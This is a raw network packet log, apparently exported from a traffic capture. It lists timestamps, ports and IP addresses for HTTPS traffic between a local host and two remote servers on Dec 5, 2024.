Dec 5, 2024 14:01:51.546936989 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.547003031 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.561358929 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.561383963 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.561445951 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.561445951 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.561460972 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.561665058 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.564624071 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.564649105 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.564738989 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.564738989 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.564749956 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.565037966 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.576809883 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.576837063 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.576915979 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.576915979 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.576925993 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.576987982 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.582072973 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.582097054 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.582168102 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.582169056 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.582180023 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.584948063 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.591876984 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.591926098 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.591965914 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.591979027 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.592080116 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.592533112 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.601006031 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.601030111 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.601114988 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.601114988 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.601124048 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.601239920 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.607245922 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.607270002 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.607358932 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.607358932 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.607368946 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.607630968 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.620559931 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.620583057 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.620672941 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.620681047 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.620709896 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.620815992 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.621289015 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.621309996 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.621412039 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.621424913 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.621565104 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.636054993 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.636084080 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.636173964 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.636173964 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.636182070 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.636250973 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.641371012 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.641396046 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.641491890 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.641499996 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.641530037 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.642436028 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.645792007 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.645817995 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.645910978 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.645922899 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.645982981 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.650388002 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.650409937 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.650492907 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.650492907 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.650500059 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.650866985 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.661501884 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.661521912 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.661642075 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.661653996 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.662143946 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.665802956 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.665827036 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.665940046 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.665951967 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.666068077 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.675928116 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.675945997 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.676028013 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.676039934 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.676134109 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.679409981 CET	443	49816	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.679979086 CET	49816	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:51.679994106 CET	443	49816	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.680784941 CET	49816	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:51.680789948 CET	443	49816	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:51.683944941 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.683974981 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.684061050 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.684061050 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.684076071 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.687598944 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.687632084 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.687665939 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.687731981 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.687731981 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.687745094 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.687845945 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.695297956 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.695332050 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.695409060 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.695409060 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.695421934 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.695708990 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.701148987 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.701174974 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.701292992 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.701303005 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.703198910 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.706305027 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.706330061 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.706429958 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.706439972 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.706504107 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.707542896 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.707566023 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.707645893 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.707645893 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.707655907 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.707950115 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.713695049 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.713733912 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.713820934 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.713829994 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.713857889 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.713973999 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.718899012 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.718921900 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.719032049 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.719054937 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.719609022 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.719626904 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.719643116 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.719707012 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.719715118 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.720110893 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.727236032 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.727256060 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.727413893 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.727422953 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.727593899 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.728754997 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.728773117 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.729243994 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.729253054 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.729430914 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.730401039 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.730417967 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.730560064 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.730567932 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.730710983 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.740638018 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.740659952 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.740927935 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.740948915 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.740974903 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.740994930 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.741019011 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.741091967 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.741091967 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.741103888 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.741187096 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.742381096 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.742398977 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.742521048 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.742531061 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.743901014 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.750891924 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.750912905 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.751200914 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.751209974 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.751318932 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.753078938 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.753104925 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.753221035 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.753230095 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.753361940 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.761046886 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.761065006 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.761502981 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.761511087 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.761961937 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.762305975 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.762326956 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.762592077 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.762656927 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.762820959 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.768404961 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.768423080 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.768554926 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.768564939 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.768752098 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.771927118 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.771950960 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.772182941 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.772196054 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.772337914 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.774758101 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.774780989 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.774884939 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.774884939 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.774893999 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.775032997 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.785327911 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.785351038 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.785840034 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.785855055 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.786088943 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.795953035 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.795972109 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.796087980 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.796087980 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.796097994 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.796300888 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.807569981 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.807590008 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.807786942 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.807806015 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.807883978 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.818955898 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.818974972 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.819183111 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.819195986 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.819358110 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.829734087 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.829751968 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.829890966 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.829900026 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.830035925 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.836319923 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.836373091 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.836421013 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.836421013 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.836457014 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.836782932 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.838376999 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.838407993 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.838422060 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.838433027 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.838557959 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.838557959 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.838589907 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.838726044 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.847446918 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.847465038 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.847579956 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.847587109 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.847750902 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.854219913 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.854257107 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.854280949 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.854285955 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.854324102 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.854341984 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.854341984 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.854373932 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.873508930 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.873538971 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.876641989 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.876667976 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.876737118 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.876749992 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.876807928 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.876807928 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.885404110 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.885422945 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.885868073 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.885876894 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.886009932 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.892555952 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.892592907 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.892680883 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.892694950 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.892734051 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.892810106 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.893987894 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.894004107 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.894093990 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.894100904 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.894197941 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.897846937 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.897864103 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.897948027 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.897957087 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.901071072 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.901089907 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.901202917 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.901207924 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.901215076 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.901492119 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.903913975 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.903934002 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.904045105 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.904053926 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.904253006 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.909343958 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.909362078 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.909473896 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.909483910 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.909662962 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.909683943 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.909701109 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.909809113 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.909816027 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.909939051 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.915299892 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.915323973 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.915468931 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.915477991 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.915802956 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.917292118 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.917311907 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.917418957 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.917428017 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.917516947 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.921139002 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.921156883 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.921269894 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.921279907 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.921380043 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.925530910 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.925548077 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.925651073 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.925651073 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.925659895 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.925707102 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:51.926461935 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:51.926479101 CET	443	49810	150.171.28.10	192.168.2.6
